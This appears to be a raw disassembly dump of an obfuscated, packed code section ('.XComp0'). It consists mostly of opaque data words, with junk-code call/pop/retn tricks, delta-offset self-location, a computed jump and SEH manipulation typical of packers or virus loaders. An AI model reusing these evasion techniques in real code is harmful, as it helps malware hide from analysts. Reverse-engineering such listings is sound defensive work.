		dd 0C7362AFCh, 0EB65BA1Dh, 0BF0FB334h, 2DBD83DBh, 205F90Ah
		dd 3A840Fh, 8B660000h, 6810FFEh, 23000000h, 0F92DB1BDh
		dd 51858B05h, 0F05F911h, 0C6F8BFh, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 4C7FB3D0h
		dd 331985C7h, 5F9h, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 170424h, 56460000h, 8BD7BAC3h, 0AE9E4h, 0DC5B0000h
		dd 358FE8A2h, 9F02D71Bh, 0FFF25BE9h, 55006AFFh,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0C18B32CCh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0B9C35040h
		dd 945FA69Fh, 870FA712h, 18h, 13E9h, 0F715200h,	6C0EE197h
		dd 0C9825BB3h, 0CE18EBE9h, 2E6FCF33h, 33E9h, 86048000h
		dd 4Dh,	0Bh dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5C44A2
; ---------------------------------------------------------------------------
		db 0F8h, 0D9h, 38h
		dd 12FDE104h, 26DD0BEAh, 13F2D7FEh, 21E606F1h, 0ABE829FBh
		dd 0B114C83Fh, 0F9DC000Bh, 0E20537D2h, 6EC10FDh, 0FE572231h
		dd 6FD42397h, 0AA638CD1h, 6F984423h, 7AE142CAh,	0FF12277Ch
		dd 3DA245EFh, 5B792CB3h, 0D61BB651h, 0DD26942Bh, 0F4ED01D8h
		dd 0E421CA35h, 0A13AA352h, 0C83B9D3Ah, 0D8DD14C5h, 0E2C5C801h
		dd 244BF4FEh, 0DCD13CA1h, 1D6BA70Dh, 844DBC1Fh,	0E2D5484Dh
		dd 36D7F8F4h, 0E0A3290Eh, 841DBFF0h, 65886787h,	0EA16E087h
		dd 79B00401h, 558C45DFh, 8893806Ah, 29958FF5h, 0DA7CB572h
		dd 0D182B760h, 29958FA8h, 0B2CB8825h, 2F29958Fh, 8C55B772h
		dd 0D7EDB738h, 856887A7h, 189D6A52h, 64058841h,	0D7FB7E9Dh
		dd 8B782995h, 0D7B4C556h, 74312995h, 45A913E2h,	85650BE1h
		dd 98272A82h, 77D5A8B3h, 55522996h, 0BA60559Ch,	0C6250753h
		dd 93240A26h, 0DA0FC6D5h, 4039DA1Fh, 0BD299597h, 0E1042EC0h
		dd 0F79C11FCh, 29959783h, 0BD0FDBFFh, 7C2D2A11h, 7E696CA5h
		dd 0B32AAB60h, 359696C4h, 0C50CDDD0h, 0FCE1DE03h, 29CD9C11h
		dd 0D5E28CDAh, 9FE10F3h, 4D2F5757h, 0D738981Fh,	80F8E6D6h
		dd 1DBAA325h, 0C5F00D4h, 44E48EAAh, 6B76B2h, 43C90000h
		dd 42DA578Dh, 30062826h, 23AA638Ch, 9685DBA0h, 3B277E29h
		dd 2F5D914Bh, 1564Dh, 0CEB00000h, 797C8731h, 7F5F8EA0h
		dd 0B61A1D90h, 0B517A059h, 9E53BC24h, 33AC4217h, 777E8734h
		dd 0E7C511E6h, 33D40807h, 3FA304E1h, 6D3DA052h,	4E71430Bh
		dd 9554FA9Dh, 932CD538h, 5F1DC72Bh, 87082B3Ah, 219E4B42h
		dd 73BD51BCh, 0A7608C9Dh, 0A0638572h, 11DA7C2Dh, 2DCD6468h
		dd 75789737h, 2D5A50A4h, 0FBE31224h, 0A5235AF7h, 72B76C01h
		dd 4B8E30C7h, 0B6636AA1h, 9212DB7Bh, 25C5A7B3h,	0A3E210B0h
		dd 2334820Ah, 13CE03CEh, 134C2DEEh, 0DCC92996h,	0F8D5003Ah
		dd 3197A015h, 43DDBD2h,	0B538CFFBh, 0A7B352E4h,	2F2EFDDFh
		dd 98BA4Dh, 8C8C0000h, 8326A760h, 36B7507Ch, 0B624D363h
		dd 14D5484Dh, 0B9F6E7EDh, 0CDC11321h, 95B14B2Eh, 3BDBC829h
		dd 2E8E9ECCh, 18C423D9h, 0E8ED20BDh, 28A89914h,	79B0F506h
		dd 913A3DB0h, 58768174h, 973542B3h, 32D98174h, 27DE7A24h
		dd 5E8C733Bh, 107C91A5h, 954D2FEDh, 9Ch, 0A7608C6Fh, 8E30C772h
		dd 859BDE7Dh, 6B182996h, 0B61522CBh, 0AD11AE53h, 0B0798A30h
		dd 7B62459Eh, 0BA20078Eh, 89844449h, 5037815Dh,	69536C02h
		dd 0D87E2BA2h, 0BC24B119h, 42876253h, 31CE849Ah, 0A0797C87h
		dd 859FDA79h, 5F1C2996h, 4FC020CFh, 0B5669B5Eh,	299685C4h
		dd 3B622741h, 552A5B3Dh, 0A3D77A9Ch, 1F29964Ah,	60474EBDh
		dd 9576587Bh, 0D804920h, 0C49AC8BFh, 0C9BDA904h, 4D2F6617h
		dd 57DCEDDFh, 0EFDC7557h, 95CC1964h, 20E99629h,	0FBF211B7h
		dd 11C082Eh, 0E6000000h, 818C31CEh, 6E6F412Bh, 0F81E2F24h
		dd 0C134CFF9h, 570419B6h, 2995EF26h, 0D2F9E6A3h, 0FCFBF237h
		dd 631645CEh, 0E02995EFh, 0E7EE23h, 39A429DAh, 0B44E103Eh
		dd 5A650955h, 6C197973h, 684FD2E2h, 0D97D2CA1h,	0B153B01Ah
		dd 58032FB9h, 29965F25h, 0F52CE5A2h, 8F80C866h,	30EB162Fh
		dd 239D3D4Dh, 0C139DDCAh, 0D9DC2992h, 0D4339700h, 0CCC108E1h
		dd 0D90B02EBh, 0B223C730h, 2135FC09h, 0CFEEEDD2h, 4863D23Ah
		dd 0BC7386E2h, 53B98075h, 89D00477h, 0F4CF5B0h,	239D706Eh
		dd 35183EEBh, 239D7042h, 0C8A4B2DDh, 0D93EE627h, 0A70D02DEh
		dd 0D565A49h, 42B14579h, 7A7D709Dh, 0A3688655h,	4CED676Eh
		dd 91040BB3h, 9BC736D8h, 8CED2ED3h, 9239D59h, 0CD0401EAh
		dd 0E825CA29h, 7131AB34h, 3C0548D6h, 9D4D5E1Fh,	82EDB23h
		dd 1891Ch, 0F2D8DF00h, 9E0FFEDFh, 0DA8F06CBh, 69FFFE34h
		dd 22310831h, 29968557h, 8579040Fh, 9F62996h, 0E946E895h
		dd 0C342A710h, 54F717D2h, 2F8F9136h, 0EF0ACF99h, 0DA33365h
		dd 9E6D1C4h, 0D8F5E004h, 0C62ED503h, 1EEDA570h,	0EEDF2AB9h
		dd 1465F64Bh, 8A239C89h, 7326A764h, 71809693h, 0C732A44Ch
		dd 75F8DF6Fh, 9CF893E6h, 0DE131023h, 2302A213h,	5A807737h
		dd 896685A9h, 77A45D84h, 239CF906h, 0C6708683h,	0D6D0A739h
		dd 556048h, 0FFC20000h,	350C3565h, 0E5E825CAh, 2E2F2234h
		dd 0EBA99685h, 0E128E10Ch, 0EC1BBF38h, 87F2A14Ah, 92A99685h
		dd 29C32A95h, 175D2C3Eh, 15985141h, 753B244h, 29D00298h
		dd 96516FEAh, 0CD6F2C29h, 0B928h, 6BA85100h, 29965212h
		dd 0D13A928Fh, 0A169BC12h, 0FF8BB145h, 5BF84169h, 29968522h
		dd 2851E29Fh, 0A5299685h, 0F1E429C6h, 138F138h,	8F863052h
		dd 13BC9B2Fh, 0EB26F3FAh, 0EFCFDE36h, 3A78F07Eh, 3ECCB14h
		dd 8980F91Ah, 0FD239Ch,	0BB413C9h, 70088B02h, 0F0239C8Ah
		dd 0B4B33ACBh, 3E8EFF08h, 7D431B47h, 768D3BC4h,	373521E0h
		dd 95C57796h, 0C447A503h, 8E47D40Dh, 5B299B0Fh,	8BC8517Ch
		dd 1D9E00F2h, 7677B26Fh, 0C2676EA3h, 0A1DC77h, 611E1D9Eh
		dd 4CC11ECDh, 46C32A95h, 0AE9337B0h, 0CD61AC11h, 29BF202Eh
		dd 0CA0B48F1h, 97239C87h, 0EAD532EAh, 0D7920300h, 69FF0137h
		dd 8A4B0831h, 922F950Ch, 0FDD1AC67h, 1F4E2397h,	91484DBCh
		dd 413EB658h, 59826B4Ch, 0BE1D9A75h, 5A8F4A4Bh,	9FBC85A2h
		dd 2397FDDEh, 6988AE5Bh, 7F048984h, 6C10897Ch, 0C233D8F6h
		dd 0FFF619B5h, 0E9C20A0Dh, 202CB204h, 0A6131945h, 6A3AA5Fh
		dd 725D203Bh, 2DDADB1Fh, 42ECFA09h, 0CEF09FCAh,	745514FBh
		dd 844D1C91h, 0B35A8372h, 0C04B718Eh, 40FA1CCDh, 36A33895h
		dd 94931ACFh, 0D0D7DE27h, 7FEEBEEh, 971ED386h, 0EAD3090h
		dd 2EBF36FBh, 0C9510D59h, 725A1442h, 860E8BEFh,	64A14A3Eh
		dd 0DD71B871h, 0A85CB10Eh, 7750A03Dh, 402FF28Ch, 41CAF4EBh
		dd 0AD549D4Ch, 5A5BA812h, 0B3766F7Fh, 0D0669F4Ch, 101Fh
		dd 320F6100h, 3FD0F007h, 9685C9B4h, 0B5594629h,	0AC658C7Fh
		dd 6CA13E29h, 0AA5F7E69h, 719A4423h, 0B84F7B7Ch, 7D8A3235h
		dd 0BB4A6F78h, 788B2D3Ah, 0C14E7275h, 89571BCCh, 4C781E7h
		dd 81000000h, 4EFh, 243C8700h, 2404895Ch, 6AD768h, 242C8900h
		dd 30268h, 240C8900h, 2B4A61BDh, 6E5C129h, 3ADDBE56h, 0F5313846h
		dd 9ED815Eh, 686C961Bh,	5E73h, 81242489h, 42404h, 68590000h
		dd 211Fh, 8F242C89h, 0C8B0841h,	0E6895624h, 4C681h, 0C6830000h
		dd 24348704h, 242C8B5Ch, 81E28952h, 4C2h, 4C28300h, 5C241487h
		dd 0FAF065E9h, 0EEF723FFh, 82819643h, 0EF7F0C67h
		db 4Fh,	0BDh
; ---------------------------------------------------------------------------


loc_5C44A2:				; CODE XREF: .XComp0:005C3D7Cj
		mov	eax, 5FE8E25h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 9Bh
		dd 2A15945Eh, 7B141600h, 0B7430B0Ch, 712D357Dh,	0FA7A878Fh
		dd 0D9528716h, 0B8529A3Eh, 0BA25A29Ch, 0F207F2DBh, 673DB9D5h
		dd 0BC6939A8h, 7B2945B2h, 112BD196h, 0D96C08DBh, 0E53A5215h
		dd 390F3CC1h, 8D03B0F1h, 0F90DC185h, 0BE805h, 0D9930000h
		dd 0ADB63307h, 0B554412Bh, 0F9BD01A4h, 5F05F916h, 10E990h
		dd 30980000h, 36DC2F1Ch, 0C321751h, 0BF5AD058h,	0F50ACC2h
		dd 28Eh, 90DE8B00h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 0D3C35040h, 9AAC8EA3h, 0BD8B0AABh, 5F934B5h
		dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 23C56FC3h, 29C1BD8Bh, 6A05F9h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0C4C35545h, 90E9858Dh
		dd 6A05FEh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 0FB2756C3h, 0DE9h, 0D9FB8E00h, 3293215Fh
		dd 8AAEC550h, 0FA8BD77Bh, 2905C083h, 0F9087D8Dh, 50529005h
		dd 0F616052h, 7E931h, 0FD190000h, 8803EF43h, 5F585A83h
		dd 0F88B6650h, 419D8990h, 6A05F90Ch, 4850F00h, 66000000h
		dd 6AC0C2BFh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 800FF13Fh, 6, 5658D89h, 24B305F9h
		dd 13ED95FFh, 666005F9h, 81E7AFBAh, 0AA6BD4C2h,	8D8D6153h
		dd 5FCE983h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	2BC35040h, 0D06D1CCEh, 0FEA5E459h, 7E8h, 27E64E00h
		dd 0F8AC148Bh, 9FE78166h, 95315FD0h, 5F91531h, 0F51D1FFh
		dd 835BFEBFh, 0F91785BDh, 850F0105h, 3Ah, 6919D03h, 26A05F9h
		dd 50F8B70Fh, 60240489h, 8BC78B60h, 880F61F1h, 11h, 0CE9h
		dd 6B0EE600h, 5A723CD1h, 8B5758D9h, 95FF6164h, 5F90099h
		dd 1729BD8Bh, 0D6E905F9h, 0E800000Ch, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 5FE90F3h
		mov	[ebp+5F91E69h],	ebx
		push	0
		push	edi
		call	sub_5C46F8
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C46F8	proc near		; CODE XREF: .XComp0:005C46F0p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5C46F8	endp

; ---------------------------------------------------------------------------
		dec	edi
		xor	[edx-135F4382h], ebx
		dec	edi
		mov	[ebp+5F90F75h],	edi
		lea	eax, [ebp+5FCD97Ch]
		mov	[ebp+5F913E9h],	ecx
		push	eax
		mov	edi, eax
		mov	[esp], eax
		push	0
		push	edi
		call	sub_5C4733
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4733	proc near		; CODE XREF: .XComp0:005C472Bp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5C4733	endp

; ---------------------------------------------------------------------------
		db 83h
; ---------------------------------------------------------------------------
		mov	esp, 649C61F7h
		push	large dword ptr	ds:0
		and	edi, 6ADA5A7Ah
		mov	large fs:0, esp
		push	0
		push	ebp
		call	sub_5C4767
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4767	proc near		; CODE XREF: .XComp0:005C475Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5C4767	endp

; ---------------------------------------------------------------------------
		db 0B3h
		dd 0A3AB398Dh, 0A35BD8Bh, 85FF05F9h, 5F9197Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 11C35141h, 6ABDFDBBh
		dd 51006AFFh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 7E8ADh, 0AD550000h, 9F9E4A08h, 15BF6675h
		dd 0B5FF5F09h, 5F9275Dh, 15CF8166h, 1195FFA8h, 0E905F909h
		dd 122h, 0D830Fh, 7E80000h, 2000000h, 0C6A2DA8Ch, 0B05FECB0h
		dd 0B1853100h, 0F05F913h, 584h,	0E3816600h, 70E66374h
		dd 19B58D29h, 71E405F9h, 20C4DF81h, 8B6679C7h, 0F613CD9h
		dd 0E183h, 3BF6600h, 0C8B60FE3h, 213D9D8Bh, 6BA05F9h, 89000000h
		dd 0F90FDDBDh, 0B7C18B05h, 4E8C1E2h, 1ED19D8Bh,	0F76605F9h
		dd 3800FE2h, 0F000000h,	0C82BD9BFh, 0E39BD23h, 0D18B05F9h
		dd 330DB531h, 9BE905F9h, 0F8000000h, 554C858Bh,	14E94947h
		dd 0F0000000h, 0EAFA5806h, 25F42B6Ah, 0A429F21Ch, 2EE7EDD2h
		dd 838CBE25h, 8B0F07C0h, 6, 25499529h, 0C08305F9h, 96DF8000h
		dd 830FD03Bh, 11h, 0AB8BF56h, 0E95B1F65h, 52h, 0E7EF8166h
		dd 0FF8D8BE7h, 80FFFFFFh, 0BD0B80F7h, 5F92911h,	0F01E183h
		dd 3584h, 0FFA58300h, 0FEFFFFFFh, 86C9D781h, 9589042Fh
		dd 4947554Ch, 13E9h, 1A63900h, 80EC63E0h, 518F4481h, 6CC51EAEh
		dd 9078E030h, 19E036BBh, 0E900h, 0B58D0000h, 5FE0006h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 66C35141h
		dd 15CB9FB4h, 0CF816613h, 6AACE1h, 6850Fh, 8D890000h, 5F925FDh
		dd 1AED95FFh, 6A05F9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 89A5C1C3h, 0B9585E32h, 1074h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0CC35646h, 8D896059h
		dd 5F91EC1h, 0C659531h,	666105F9h, 0D61DF81h, 8BFCE183h
		dd 8B66FCD8h, 0B8F8h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 0BA91C3h, 89000000h
		dd 0F926659Dh, 95BB6605h, 0C233ADE7h, 0D003E8D1h, 7504E983h
		dd 0A19589F4h, 6A05F934h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0BF88C355h,	9F694720h
		dd 0F7BF5E56h, 0D205B51h, 88h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 41C35040h, 0AE9F31BAh, 0DD958B3Ch
		dd 6A05F90Ch, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0B6BC357h, 0AA4C6BDBh,	0E9403175h
		dd 0Ch,	424D3A13h, 0EFCE7C54h, 10EA88A4h, 8D895753h, 5F90761h
		dd 0E3805B5Fh, 0C18D8BA8h, 6A05F926h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 57C6C357h
		dd 0F0B707F9h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 890F5818h, 0
; ---------------------------------------------------------------------------
		ja	loc_5C4ACF
		mov	ebx, 672C42E0h


loc_5C4ACF:				; CODE XREF: .XComp0:005C4AC4j
		push	0
		push	ebp
		call	sub_5C4ADA
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4ADA	proc near		; CODE XREF: .XComp0:005C4AD2p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5C4ADA	endp

; ---------------------------------------------------------------------------
		dw 8368h
		dd 0F91159BDh, 840F0005h, 89h, 8E9h, 0DFE46B00h, 3191E110h
		dd 0B8A4h, 0BD8B0000h, 5F92149h, 4EE88D8Dh, 6A05F9h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0C740D3C3h, 0FE8F837h, 0C5000000h, 42AF8BC0h, 0F0C4726Eh
		dd 0AA66A965h, 0F98B6D57h, 6AE1FF5Fh, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 155EC350h
		dd 0EE90E28h, 50000000h, 0EA119A92h, 18D4843Fh,	34567571h
		dd 0FDBD83FCh, 5F900h, 410840Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 7C3AC0C3h
		dd 275044F4h, 0B5892BC5h, 5F915EDh, 0FDBD83h, 0F0105F9h
		dd 3F484h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 83F8183Dh, 0F900FDBDh, 860F0305h
		dd 393h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	0C4C35747h, 465B27F6h, 0FE8BB3E8h, 4563BB53h, 605B6345h
		dd 8C66DE8Ah, 51006AD9h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 8011E99Fh, 665304E1h, 5B9268BFh
		dd 840FC90Ah, 0E5h, 8858589h, 858B05F9h, 5F92599h, 2D8DB589h
		dd 853305F9h, 5F9042Dh,	50F9BF0Fh, 5FF88A52h, 6A240489h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 43FFC356h, 487C0E71h, 0BF66006Ah,	4E8345Ah
		dd 0FF000000h, 50001F03h, 9E8h,	15BDD200h, 0BE3C3D15h
		dd 52509A45h, 5E8310Fh,	42000000h, 0E10C3189h, 5B585A5Fh
		dd 424448Bh, 8BDE8B66h,	24448900h, 58F98B04h, 3BB101BFh
		dd 0C595FF2Ah, 8B05F92Ah, 0F9156DBDh, 21858905h, 0E905FCFCh
		dd 9, 40C18CBFh, 0A14BEAE5h, 22AE911h, 6A0000h,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 980036C3h, 0E16AA8FFh, 0F6450EBh, 68Fh, 3D958900h, 8105F928h
		dd 0F4AE6FE3h, 19858B7Eh, 2B05FCFCh, 0F90CADBDh, 1800C705h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 3593C357h, 53C812C7h, 8B53E6F2h
		dd 0F9266DBDh, 1DB58B05h, 6A05FCFCh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0DE16C352h
		dd 10E92Ah, 311A0000h, 547F0BFFh, 273C141Bh, 0B600B4F1h
		dd 0AEBBA2ACh, 8B20E28Eh, 0F92B8985h, 0B9666005h, 8D297B9Ch
		dd 5F92CD1h, 6A068961h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0F13AC351h,	0B4441851h
		dd 4840Fh, 0BB660000h, 858B783Ah, 5F92599h, 12E8h, 1778ED00h
		dd 3902E183h, 0F972B572h, 6D29ED54h, 60A5783Bh,	1EE9BD01h
		dd 0C68B05F9h, 46895B61h, 0E8605004h, 5, 0C66232A5h, 58D78B70h
		dd 9F064CBBh, 34896155h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0B8C973E9h, 7E50C58Ah
		dd 0BF66359Ah, 0B5FF209Ch, 5FCFC19h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 31C35141h, 66E74BA0h, 0E8F2DABBh
		dd 4, 1F03FFh, 19830Fh,	8A0F0000h, 13h,	0EE9h, 4254A800h
		dd 4A08AD55h, 14759F9Eh, 504DDDE6h, 424448Bh, 310F5250h
		dd 6E9h, 0E594E800h, 5AC3E836h,	66008B58h, 4489D98Bh, 81580424h
		dd 0F56E3CCBh, 13E873h,	64340000h, 80E9FC24h, 0A0C692E4h
		dd 90395096h, 24EDD1AAh, 4D858927h, 5B05F918h, 0FC21858Dh
		dd 0E78005FCh, 666050C9h, 53C9A8BEh, 11E9h, 2BE90900h
		dd 76E00EADh, 99283625h, 19E5F9E5h, 615BB34Eh, 0FF240489h
		dd 0F92AC595h, 66605605h, 5F61C78Bh, 53006A61h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 9D8A60FBh
		dd 0FD85C7F5h, 305F900h, 0E8000000h, 0Ah, 5E1016CEh, 13068DAEh
		dd 0EF81A25Bh, 0D68ECD0h, 21BD835Bh, 5FCFCh, 0D840Fh, 5BF0000h
		dd 0E9135A71h, 1Eh, 50A3EB80h, 110C30h,	0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 6AC08Bh,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0A1BF8FC3h, 0BB66D03Dh
		dd 0BD8BD7BDh, 5F92741h, 0FDBD83h, 0F0305F9h, 37785h, 91B58900h
		dd 8305F907h, 0FCFC21BDh, 840F0005h, 364h, 0B69BDF81h
		dd 0B5FF0FDEh, 5FCFC21h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0F9C35646h, 0CCDB8E98h, 58B7E844h, 1ED9BD89h
		dd 95FF05F9h, 5F91AADh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0ACC35141h, 0BFDA2375h, 0E9685E42h, 5
		dd 8A204CE9h, 858D895Dh, 8B05F92Bh, 0FCFC15B5h,	0D9D8B05h
		dd 0C705F90Dh, 1000106h, 85BD0100h, 0E805F915h,	10h, 292981DFh
		dd 6FA8AA41h, 80E8CDA1h, 0D479C5ADh, 5BDA8B66h,	2AB2BF96h
		dd 96504A38h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 14h,	5EC35040h, 0D58D89F9h, 0FF05F909h, 0FCFC21B5h
		dd 0FAC38105h, 0E96EA8E1h, 12h,	0F73E9F81h, 0A7B85C23h
		dd 0B8CE4F2Ah, 3A6DEED9h, 95FFF467h, 5F92729h, 25519D89h
		dd 0FE905F9h, 60000000h, 0B1254393h, 869EB3C1h,	0CAB0D49Ch
		dd 0B58B5CE4h, 5FCFC15h, 0DCE38166h, 9858B8Ch, 8905F918h
		dd 0C486h, 3D9D2300h, 8B05F925h, 0F90CDD95h, 0C19D0B05h
		dd 8305F90Fh, 6A04C2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 0A64C27C3h, 187A0FBEh, 81666027h
		dd 60E587E8h, 9D2BD98Bh, 5F90CF1h, 8B666161h, 205089DEh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0F2C35141h
		dd 0C835AA8Ch, 959D892Ch, 8D05F910h, 0FD10E985h, 57006A05h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 0E054BB24h, 0BF664DDFh, 8689BF59h, 0B8h, 0A5BB7BBh
		dd 89006A13h, 0F91925B5h, 21B5FF05h, 305FCFCh, 0F92DF99Dh
		dd 9995FF05h, 2905F900h, 0F93315B5h, 7E905h, 110D0000h
		dd 0B7547Bh, 0F98B9653h, 961DB750h, 27559D29h, 0B5FF05F9h
		dd 5FCFC21h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	49C35040h, 335ACC31h, 0FF59251Bh, 0F9356995h, 0CF816605h
		dd 0BD83C7F2h, 5F917F5h, 3A840F00h, 66000000h, 0E898F781h
		dd 894BB350h, 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 76A1EC3h, 5D9D8B0Ah, 6005F904h
		dd 8D89CA8Bh, 5F92775h,	21B5FF61h, 3305FCFCh, 0F91F6D9Dh
		dd 6D95FF05h, 0E805F92Eh, 8, 6E242E04h,	0E6B0D1Ch, 3315BD89h
		dd 0FF5F05F9h, 0FCFC21B5h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h
		dd 0F281C1Bh, 0EB816644h, 95FF3093h, 5F921DDh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0BC35040h, 0E812BB41h
		dd 0BD832ADAh, 5F90A2Dh, 2C840F02h, 0E9000000h,	13h, 0A7F8EB09h
		dd 0A87175EAh, 255D79DCh, 0DDAB92Bh, 8B7842C9h,	0F9115185h
		dd 0ED9D3105h, 0C605F910h, 81660000h, 0C76FAAF7h, 0F9331985h
		dd 5, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 58691649h, 0F5DE8B07h, 0FFF41EE9h
		dd 0D98B66FFh, 6AC18Bh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0BF6649C3h, 0B70F2CD0h, 0E000BAD8h
		dd 0EA81F00Eh, 0F0000000h, 8914C283h, 0F9298195h, 14EA8305h
		dd 9E6A858Dh, 645005FEh, 35FFh,	89640000h, 25h,	0E800h
		dd 2B580000h, 0F00025C2h, 8166FFFFh, 0F5A4D38h,	1285h
		dd 50B70F00h, 81D0033Ch, 45503Ah, 0A840F00h, 2D000000h
		dd 1000h, 0FFFFD9E9h, 89C88BFFh, 0F914CD85h, 3C400305h
		dd 650B70Fh, 1F899589h,	508B05F9h, 19958950h, 505F91Fh
		dd 0F8h, 30C508Bh, 1D9589D1h, 305F907h,	95890850h, 5F925B9h
		dd 58F64h, 83000000h, 13E904C4h, 51000000h, 10244C8Bh
		dd 0B0A981h, 10000000h,	33590000h, 0BD83C3C0h, 5F929B9h
		dd 24840F00h, 0C6000000h, 0F9189985h, 0D2684705h, 0FFD49AA7h
		dd 0F908D1B5h, 10858D05h, 0FF05FCC5h, 0FF006AD0h, 1D8589D0h
		dd 8B05F921h, 0AE8D3h, 0FD3E0000h, 6E7DA442h, 2AEE6CDBh
		dd 1B8F0Fh, 850F0000h, 15h, 0FE8h, 4C77E800h, 0D0681616h
		dd 615E6D8Ah, 44C325C5h, 81F95A5Bh, 6B0CC2h, 6DBB6600h
		dd 0B8E9h, 0D9800000h, 1034FF11h, 9B6BE66h, 0F0B70F5Fh
		dd 0E2EBF781h, 830F3927h, 5, 74041DBEh,	91F7817Ah, 0F86E528Bh
		dd 571BEF81h, 89F81398h, 0CE8B023Ch, 0F904E883h, 9578F881h
		dd 850FFFFFh, 0FFFFFFC1h, 4820Fh, 0BE660000h, 8D8DD120h
		dd 5FE9FE6h, 89DEB70Fh,	0F90CDD8Dh, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0F330F5D0h
		dd 15C13B34h, 26C185C7h, 704005F9h, 8D0F0000h, 0Ch, 6830Fh
		dd 9D8B0000h, 5F92245h,	0FD85C7h, 5F9h,	95890000h, 5F93545h
		dd 275DB5FFh, 0CDBA05F9h, 89033B7Fh, 0F9159185h, 0D595FF05h
		dd 6A05F920h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
